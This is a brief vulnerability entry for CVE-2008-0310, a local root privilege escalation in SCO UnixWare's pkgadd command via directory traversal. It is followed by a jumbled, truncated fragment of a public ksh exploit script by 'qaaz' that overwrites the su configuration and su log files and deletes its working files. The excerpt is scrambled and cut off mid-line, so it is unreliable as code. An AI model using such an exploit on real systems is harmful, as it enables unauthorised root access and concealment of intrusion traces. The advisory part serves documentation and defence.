CVE-2008-0310

CVE-2008-0310 describes a local privilege escalation in SCO UnixWare 7.1.4 before patch p534589. The vulnerability lies in the pkgadd command, which improperly handles an environment variable (likely PKGINST) during package installation, allowing a local user to traverse directories using ".." se...

SCO UnixWare < 7.1.4 p534589 - 'pkgadd' Local Privilege Escalation

!/bin/ksh 04/2008: public release SCO UnixWare su.log cp su.def /etc/default/su cp su.log /var/adm/sulog rm -f su.def su.log woot.log else echo "------------------------------------" echo " UnixWare pkgadd Local Root Exploit" echo " By qaaz" echo "------------------------------------" EVIL=echo...